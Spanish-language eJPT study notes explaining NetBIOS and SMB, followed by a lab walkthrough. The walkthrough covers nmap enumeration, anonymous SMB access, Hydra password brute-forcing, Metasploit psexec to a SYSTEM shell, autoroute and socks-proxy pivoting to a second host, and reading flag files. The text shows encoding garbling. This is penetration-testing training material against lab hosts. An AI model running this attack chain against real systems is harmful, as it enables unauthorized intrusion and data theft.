> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-la-red/ataques-de-red/enumeracion-de-smb-y-netbios.md). # Enumeraci贸n de SMB y NetBIOS ### 馃摌 驴Qu茅 es NetBIOS? **NetBIOS** (Network Basic Input/Output System) es una API y conjunto de protocolos dise帽ados para permitir que aplicaciones en diferentes dispositivos dentro de una red local puedan descubrirse y comunicarse entre s铆. #### Servicios principales de NetBIOS: * **Name Service (NetBIOS-NS)**: Permite registrar, eliminar y resolver nombres de dispositivos en la red local. * **Datagram Service (NetBIOS-DGM)**: Comunicaci贸n sin conexi贸n y soporte para broadcast. * **Session Service (NetBIOS-SSN)**: Comunicaci贸n orientada a conexi贸n, ideal para transferencias m谩s fiables. #### Puertos utilizados por NetBIOS: * `137/UDP y TCP`: Servicio de nombres (Name Service) * `138/UDP`: Servicio de datagramas (Datagram Service) * `139/TCP`: Servicio de sesi贸n (Session Service) Aunque su uso ha disminuido en redes modernas, NetBIOS sigue activo en muchos entornos por compatibilidad con sistemas antiguos. *** ### 馃搧 驴Qu茅 es SMB? **SMB** (Server Message Block) es un protocolo de red que permite compartir archivos, impresoras y otros recursos entre dispositivos en una red. Es ampliamente utilizado en entornos Windows. #### Funcionalidades clave: * Acceso remoto a archivos como si fueran locales. * Compartici贸n de impresoras. * Comunicaci贸n entre procesos (IPC). * Soporte para pipes nombrados. #### Versiones de SMB: * **SMB 1.0**: Versi贸n original, con m煤ltiples vulnerabilidades. Presente en sistemas antiguos como Windows XP. * **SMB 2.0/2.1**: Introducido con Windows Vista/Server 2008. Mejora en rendimiento y seguridad. * **SMB 3.x+**: Desde Windows 8/Server 2012. Incluye cifrado, soporte multicanal y mejoras para entornos virtualizados. #### Puertos utilizados por SMB: * `139/TCP`: Cuando opera sobre NetBIOS. * `445/TCP`: Tr谩fico SMB directo, sin necesidad de NetBIOS (modo m谩s moderno). *** ### 馃О Enumeraci贸n de SMB y NetBIOS Aunque NetBIOS y SMB estuvieron estrechamente vinculados, las implementaciones modernas suelen depender 煤nicamente de SMB, utilizando DNS u otros m茅todos para la resoluci贸n de nombres. #### 驴Qu茅 se puede enumerar? * **NetBIOS**: nombres de host, sesiones activas, recursos compartidos, etc. * **SMB**: usuarios, recursos compartidos, pol铆ticas de contrase帽as, versiones de SMB, acceso a archivos, y m谩s. #### Herramientas comunes: * `nmblookup`, `nbtscan`: para enumerar NetBIOS. * `smbclient`, `enum4linux`, `smbmap`, `crackmapexec` (NetExec): para interactuar y enumerar recursos SMB. *** ### 馃摑 Resumen comparativo | **Caracter铆stica** | **NetBIOS** | **SMB** | | ------------------------- | ----------------------------------------------------- | ----------------------------------------------------------- | | **Uso principal** | Descubrimiento y comunicaci贸n en LAN | Compartir archivos, impresoras y servicios | | **Protocolo** | API heredada | Protocolo de red moderno | | **Puertos comunes** | 137 (UDP/TCP), 138 (UDP), 139 (TCP) | 139 (TCP, con NetBIOS), 445 (TCP, SMB directo) | | **Seguridad** | No incluye cifrado ni autenticaci贸n fuerte | Soporta autenticaci贸n y versiones modernas incluyen cifrado | | **Vulnerabilidades** | Alto riesgo si est谩 habilitado innecesariamente | SMB 1.0 vulnerable, versiones modernas m谩s seguras | | **Uso actual** | Reducci贸n progresiva, a煤n presente por compatibilidad | Muy utilizado en entornos Windows modernos | | **Herramientas de enum.** | `nmblookup`, `nbtscan` | `smbclient`, `enum4linux`, `smbmap`, `NetExec` | *** ## 馃И Laboratorio Pr谩ctico **Paso 1:** Abra el enlace del laboratorio para acceder a la instancia de la GUI de Kali.
**Paso 2:** Verifique si la m谩quina/dominio proporcionado es accesible. **Comandos:** ``` ping -c 5 demo.ine.local ping -c 5 demo1.ine.local ```
S贸lo se puede acceder a una de las m谩quinas proporcionadas, es decir, demo.ine.local, y tambi茅n encontramos las direcciones IP del objetivo. **Paso 3:** Verifique los puertos abiertos en la m谩quina demo.ine.local. **Dominio:** ``` nmap demo.ine.local ```
Hay varios puertos abiertos en la m谩quina demo.ine.local. Todos los puertos exponen servicios centrales del sistema operativo Windows, es decir, SMB, RDP, RPC, etc. En este laboratorio, realizaremos ataques al servicio SMB. **Nota:** El protocolo Bloque de Mensajes del Servidor (SMB) es un protocolo de intercambio de archivos en red que permite a las aplicaciones de un equipo leer y escribir archivos, as铆 como solicitar servicios de programas servidor en una red inform谩tica. El protocolo SMB puede utilizarse sobre su protocolo TCP/IP u otros protocolos de red. Mediante el protocolo SMB, una aplicaci贸n (o su usuario) puede acceder a archivos u otros recursos en un servidor remoto. Esto permite a las aplicaciones leer, crear y actualizar archivos en el servidor remoto. SMB tambi茅n puede comunicarse con cualquier programa servidor configurado para recibir una solicitud de cliente SMB. Fuente: \[] De forma predeterminada, el servicio SMB utiliza el puerto IP 139 o 445. Adem谩s, est谩 instalado y presente en todos los sistemas operativos Windows. Sin embargo, podemos desactivarlo o eliminarlo del sistema. Existen m煤ltiples versiones del protocolo SMB. * SMB1 * PYME 2.0 * PYME 2.1 * PYME 3.0 * SMB 3.0.2 * PYME 3.1.1 SMBv1: Server Message Block (SMB) es un protocolo de red de capa de aplicaci贸n com煤nmente utilizado en Microsoft Windows para proporcionar acceso compartido a archivos e impresoras. SMBv1 es el protocolo original, desarrollado en la d茅cada de 1980, lo que le otorga m谩s de 30 a帽os de antig眉edad. Actualmente existen versiones m谩s seguras y eficientes de SMB. El protocolo SMBv1 no es seguro. Al usar este protocolo antiguo, se pierden protecciones como la integridad de la preautenticaci贸n, la negociaci贸n segura de dialectos, el cifrado, la desactivaci贸n de inicios de sesi贸n de invitados inseguros y la firma mejorada de mensajes. Microsoft ha recomendado a sus clientes que dejen de usar SMBv1 debido a su extrema vulnerabilidad y a la presencia de vulnerabilidades conocidas. WannaCry, un conocido ataque de ransomware, aprovech贸 vulnerabilidades del protocolo SMBv1 para infectar otros sistemas. Debido a los riesgos de seguridad, se ha desactivado la compatibilidad con SMBv1. Fuente: \[] SMBv1 se utiliza en el antiguo sistema operativo Windows. Sin embargo, tambi茅n est谩 presente en el sistema operativo Windows m谩s reciente. Podemos deshabilitar o habilitar todas las versiones de SMB modificando el registro de Windows. A partir de SMBv1, todas las versiones son razonablemente seguras. Ofrecen numerosas protecciones de seguridad, como la desactivaci贸n de inicios de sesi贸n de invitados inseguros, integridad de la preautenticaci贸n, negociaci贸n segura de dialectos, cifrado, etc. Al escanear con nmap, descubrimos el puerto de servicio SMB 445. Para obtener m谩s informaci贸n sobre todas las versiones y cambios del protocolo, consulte el siguiente enlace: \[] Ahora, realicemos la enumeraci贸n y explotaci贸n del protocolo SMB. **Paso 4:** Ejecutemos nmap en el puerto 445 para obtener m谩s informaci贸n sobre el protocolo. **Dominio:** ``` nmap -sV -p 139,445 demo.ine.local ``` `-sV`:Sondear puertos abiertos para determinar informaci贸n de servicio/versi贸n `-p 139,445`:Solo escanear puertos especificados
Hemos recibido informaci贸n sobre ambos puertos. Adem谩s, se ha identificado que el objetivo es...`Microsoft Windows Server 2008 R2 - 2012` **Paso 5:** Ahora, identifiquemos todas las versiones de SMB compatibles en la m谩quina de destino. Podemos identificarlo r谩pidamente usando el script nmap smb-protocols. **Dominio:** ``` nmap -p445 --script smb-protocols demo.ine.local ``` `-p445`:Solo escanea el puerto especificado. `--script smb-protocols`:Escaneo de script
Podemos observar que las tres versiones son accesibles. Hay otro script nmap interesante para el protocolo smb que permite encontrar el nivel de seguridad del protocolo. **Paso 6:** Ejecutemos el script nmap para encontrar el nivel de seguridad del protocolo smb. **Dominio:** ``` nmap -p445 --script smb-security-mode demo.ine.local ```
Intentamos acceder al servidor SMB de destino con un usuario invitado. Recibimos informaci贸n sobre el nivel de seguridad de SMB. Podemos encontrar m谩s informaci贸n en el siguiente enlace: \[] Esto aclara que el script nmap usa el `guest`usuario para todos los an谩lisis del script smb. Tambi茅n podemos definir otro usuario. Sin embargo, necesitamos credenciales v谩lidas para acceder a la m谩quina de destino. El `guest`usuario es el usuario predeterminado disponible en todos los sistemas operativos Windows. Si un atacante tiene credenciales v谩lidas en el equipo objetivo, la ejecuci贸n del comando es posible. Esto depende de los privilegios del usuario. Ahora, veamos que tenemos el acceso `Null Session`, es decir, `Anonymous`en la m谩quina de destino usando la herramienta smbclient. **smbclient** : smbclient es un cliente que puede comunicarse con un servidor SMB/CIFS. Ofrece una interfaz similar a la de un programa FTP. Sus operaciones incluyen, entre otras, la transferencia de archivos del servidor a la m谩quina local, la transferencia de archivos de la m谩quina local al servidor, la recuperaci贸n de informaci贸n de directorio del servidor, etc. **Paso 7:** Ejecutemos la herramienta smbclient para descubrir que tenemos acceso an贸nimo en la m谩quina de destino. **Comandos:** ``` smbclient -L demo.ine.local Password for [WORKGROUP\root]: ```
Podemos acceder al objetivo mediante inicio de sesi贸n an贸nimo. **Paso 8:** Ahora tenemos acceso an贸nimo a la m谩quina de destino. Podemos eliminar sin problemas todos los usuarios de Windows actuales mediante el script nmap. Encontremos todos los usuarios presentes usando el script smb-enum-users de nmap. **Dominio:** ``` nmap -p445 --script smb-enum-users.nse demo.ine.local ```
Hay un total de cuatro usuarios presentes. `admin`, `administrator`, `root`, y`guest` Los usuarios invitados y administradores son cuentas integradas. Ahora, busquemos la contrase帽a v谩lida para `admin`, `administrator`, y `root`el usuario. **Paso 9:** Primero, creemos un archivo (users.txt) y mantengamos todos estos usuarios.
Ahora, ejecutemos la herramienta Hydra para forzar el protocolo SMB para encontrar la contrase帽a v谩lida de los usuarios proporcionados. **Dominio:** ``` hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local smb ``` `-L`:Lista de usuarios `-P`:Lista de contrase帽as `demo.ine.local smb`:Direcci贸n de destino y protocolo de destino
Hemos recuperado con 茅xito contrase帽as v谩lidas para los tres usuarios. **Paso 10:** Ahora, podemos usar el marco Metasploit y ejecutar el m贸dulo de explotaci贸n psexec para obtener el shell de meterpreter usando la contrase帽a v谩lida del usuario administrador. **Ejecuci贸n de c贸digo de usuario autenticado de Microsoft Windows:** Este m贸dulo utiliza un nombre de usuario y una contrase帽a de administrador v谩lidos (o un hash de contrase帽a) para ejecutar una carga 煤til arbitraria. Este m贸dulo es similar a la utilidad "psexec" de SysInternals. Ahora, este m贸dulo puede autolimpiarse. El servicio creado por esta herramienta utiliza un nombre y una descripci贸n elegidos aleatoriamente. Fuente: \[] 隆Iniciemos el framework Metasploit y explot茅moslo! **Comandos:** **Nota:** Si el exploit no te permite iniciar sesi贸n en Meterpreter, 隆int茅ntalo de nuevo! ``` msfconsole -q use exploit/windows/smb/psexec set RHOSTS demo.ine.local set SMBUser administrator set SMBPass password1 exploit ```
隆脡xito! Hemos recibido una sesi贸n de meterpreter. **Paso 11:** Ahora, descubriremos informaci贸n de la m谩quina de destino, por ejemplo, usuario actual, informaci贸n del sistema, arquitectura, etc. **Comandos:** ``` getuid sysinfo ```
Observamos que el objetivo est谩 ejecutando un servidor Windows y hemos recibido una sesi贸n de meterpreter con privilegios "SYSTEM" (o "NT Authority") en la m谩quina. **Paso 12:** Leamos la bandera. **Dominio:** ``` cat C:\\Users\\Administrator\\Documents\\FLAG1.txt ```
Hemos encontrado la BANDERA 1:`8de67f44f49264e6c99e8a8f5f17110c` **Paso 13:** Verifiquemos si podemos acceder `demo1.ine.local`desde el host comprometido. Antes de iniciar sesi贸n, haga ping a la segunda m谩quina objetivo desde el host comprometido. Necesitamos conocer la direcci贸n IP del `demo1.ine.local`host. Recuerde, cuando hicimos ping a ambos destinos y descubrimos las direcciones IP de estas m谩quinas de destino: 1. demo.ine.local: 10.0.19.243 2. demo1.ine.local: 10.0.28.125 Ahora, hagamos ping a 10.0.28.125 y verifiquemos que sea accesible desde la segunda m谩quina. **Comandos:** ``` shell ping 10.0.28.125 ```
Podemos acceder a la m谩quina demo1.ine.local, es decir, 10.0.28.125. Sin embargo, no podemos acceder a esa m谩quina (10.0.28.125) desde la m谩quina Kali. Por lo tanto, necesitamos pivotar agregando una ruta desde el framework Metasploit. **Paso 14:** Agreguemos la ruta usando la sesi贸n meterpreter e identifiquemos el segundo servicio de m谩quina. **Comandos:** ``` CTRL + C y run autoroute -s 10.0.28.125/20 ```
Hemos agregado exitosamente la ruta para acceder a la m谩quina demo1.ine.local. **Paso 15:** Ahora, iniciemos el servidor proxy Socks para acceder al sistema Pivot en la m谩quina del atacante usando la herramienta Proxychains. Primero inicie el `socks4a`servidor usando el m贸dulo Metasploit. **Servidor proxy Socks4a:** Este m贸dulo proporciona un servidor proxy Socks4a con enrutamiento Metasploit integrado para retransmitir conexiones. Fuente: \[] **Nota:** Las cadenas proxy deben estar configuradas con los siguientes par谩metros (al final de /etc/proxychains4.conf): **Dominio:** ``` cat /etc/proxychains4.conf ```
Podemos observar que el puerto Socks4 es 9050. Ahora, ejecutemos el m贸dulo de servidor proxy auxiliar Socks de Metasploit en el puerto 9050. **Comandos:** ``` background use auxiliary/server/socks_proxy show options ```
Observamos que SRVPORT es 1080 y VERSION es 5, como se menciona en las opciones del m贸dulo. Sin embargo, necesitamos configurar el puerto en 9050 y la versi贸n en 4a. Modifiquemos ambos valores y luego ejecutemos el servidor. **Comandos:** ``` set SRVPORT 9050 set VERSION 4a exploit jobs ```
Podemos observar que el servidor est谩 funcionando perfectamente. **Paso 16:** Ahora, ejecutemos nmap con proxychains para identificar el puerto SMB (445) en la m谩quina pivote, es decir`demo1.ine.local` Tambi茅n podr铆amos especificar varios puertos. Pero, en este caso, solo nos interesa el servicio SMB. **Dominio:** ``` proxychains nmap demo1.ine.local -sT -Pn -sV -p 445 ``` `demo1.ine.local`:La m谩quina de pivote `-sT`:Escaneo de conexi贸n TCP `-Pn`:Omitir el descubrimiento de host y forzar el escaneo de puertos. `-sV`:Sondear puertos abiertos para determinar informaci贸n de servicio/versi贸n `-p 445`:Definir puerto a escanear Este escaneo es la forma m谩s segura de identificar los puertos abiertos. Podr铆amos usar un m贸dulo auxiliar de escaneo de puertos TCP. Sin embargo, estos son muy agresivos y pueden interrumpir la sesi贸n.
Observamos que el puerto 445 est谩 abierto en la m谩quina de destino. **Paso 17:** Ahora, usemos el comando net view para encontrar todos los recursos compartidos por la m谩quina demo1.ine.local. Interact煤a nuevamente con la sesi贸n de meterpreter. **Comandos:** ``` sessions -i 1 shell net view 10.0.28.125 ```
Hemos recibido el mensaje Acceso denegado. Bueno, actualmente estamos ejecutando el sistema con el privilegio NT AUTHORITY\SYSTEM. Migremos el proceso a explorer.exe y accedamos de nuevo. **Comandos:** ``` CTRL + C migrate -N explorer.exe shell net view 10.0.28.125 ```
Esta vez, podemos ver dos recursos compartidos: Documentos y la unidad K. Esto confirma que el objetivo pivote (demo1.ine.local) permite sesiones nulas, por lo que podemos acceder a ellos. Adem谩s, podemos lograr el mismo objetivo de varias maneras. **Paso 18:** Ahora, podemos mapear la unidad compartida a la m谩quina demo.ine.local usando el comando 'net'. Vamos a mapear los recursos compartidos, es decir, las unidades Documentos y K. **Comandos:** ``` net use D: \\10.0.28.125\Documents net use K: \\10.0.28.125\K$ ```
Hemos asignado con 茅xito los recursos a las unidades D y K. **Paso 19:** Verifiquemos qu茅 hay dentro de estas unidades mapeadas. **Comandos:** ``` dir D: dir K: ```
Ahora que podemos explorar el contenido compartido, podemos descargarlo o leerlo en la m谩quina del atacante. Leamos los archivos FLAG2 y Confidential.txt. **Comandos:** ``` CTRL + C cat D:\\Confidential.txt cat D:\\FLAG2.txt ```
Hemos encontrado la **BANDERA2:** c8f58de67f44f49264e6c99e8f17110c Este archivo es la prueba definitiva para el cliente. Los archivos de la organizaci贸n no son seguros. Por lo tanto, se deben implementar pol铆ticas y configuraciones adecuadas dentro y fuera del per铆metro.